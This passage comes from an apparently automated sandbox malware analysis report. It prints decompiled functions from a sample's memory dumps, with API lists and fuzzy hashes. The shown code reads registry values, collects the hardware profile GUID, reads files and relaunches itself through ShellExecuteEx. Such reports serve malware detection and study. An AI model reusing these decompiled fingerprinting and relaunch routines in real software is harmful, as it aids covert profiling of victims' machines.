				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 006CB810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 006CB81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 006CB82D
new[].LIBCMTD ref: 006CB84D
lstrlen.KERNEL32(?,?,?), ref: 006CB86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 006CB879

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: fafd95610f9a3b94125cf48a2e193e9686b8c21099b8da4d8aaa933708e73eac
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 330144B5A01108BFDB44DFA8DC4AFDE7BB8EF4C300F108058F909DB290D670AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x839ea0
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x83c898
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00839EA0,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,0083C898,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x83bf60
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x83c9a0
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0083BF60,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,0083C9A0,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x83beb8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x83b728
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,0083BEB8,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,0083B728,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 006CB490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB4A4
RtlAllocateHeap.NTDLL(00000000), ref: 006CB4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,006C5CA8), ref: 006CB4CB
RegQueryValueExA.ADVAPI32(006C5CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 006CB4EC
RegCloseKey.ADVAPI32(006C5CA8), ref: 006CB4F6

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 48e86485622ee65baf37a16147987544fcf4694c84a20152691148be5e3f035f
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: D9014FB5A41208BBDB00DFE0DD4AFEEB7B8EB48700F008568FA05A7291D7745A50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 006CB1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB1E4
RtlAllocateHeap.NTDLL(00000000), ref: 006CB1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,006C5AF9), ref: 006CB20B
RegQueryValueExA.ADVAPI32(006C5AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 006CB22C
RegCloseKey.ADVAPI32(006C5AF9), ref: 006CB236

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: f4501440fba204aa24461907e930b0a9150900853e862a563ca26465a8f47bb7
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 160144B5A41208BFD700DBD0DD49FEEB77CEB48700F008568FA0597291D6745A50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006CB510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 006CB51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 006CB52B
RtlAllocateHeap.NTDLL(00000000), ref: 006CB532
memset.NTDLL ref: 006CB549
lstrcat.KERNEL32(?,?), ref: 006CB55A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 5e72b6497ca1890f1abe28fddb11c3669987c64c01e75b48f538b2df0b812903
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: A1F05E70A01209ABEB20AFA4DE09FA977B8FB08701F0081A8F705D7290DB359951CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x83dc20
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x825210
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x839e28
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006CC1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 006CC229
wsprintfA.USER32 ref: 006CC244
ShellExecuteEx.SHELL32(0000003C), ref: 006CC2A3

Strings

<, xrefs: 006CC25A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: d97e9ffe7e3f1fa3808f5dfe1679d7e0b835fbe6673193a1e6f0d09442d9592c
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 4321EDB1900208ABDB54EFA0DC8AFEEB7B9AB48701F00455DF214B6191DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 6.4, APIs: 5, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x828160
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x8281c0
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x8281f0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x828148
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x8281d8
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006C6380, Relevance: 6.4, APIs: 5, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C63BC
lstrcpy.KERNEL32(?,00000000), ref: 006C640C
lstrcpy.KERNEL32(?,00000000), ref: 006C643A
lstrcpy.KERNEL32(?,00000000), ref: 006C6468
lstrcpy.KERNEL32(?,00000000), ref: 006C6496

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: 3428e07e2433655e4e79c808aab62f4c28e743f8f321c06ad2cbd7e6dee67cd5
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 905194B6D00108BBD755DF90DC46FEB7379AB4C304F04459CF609A2241EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
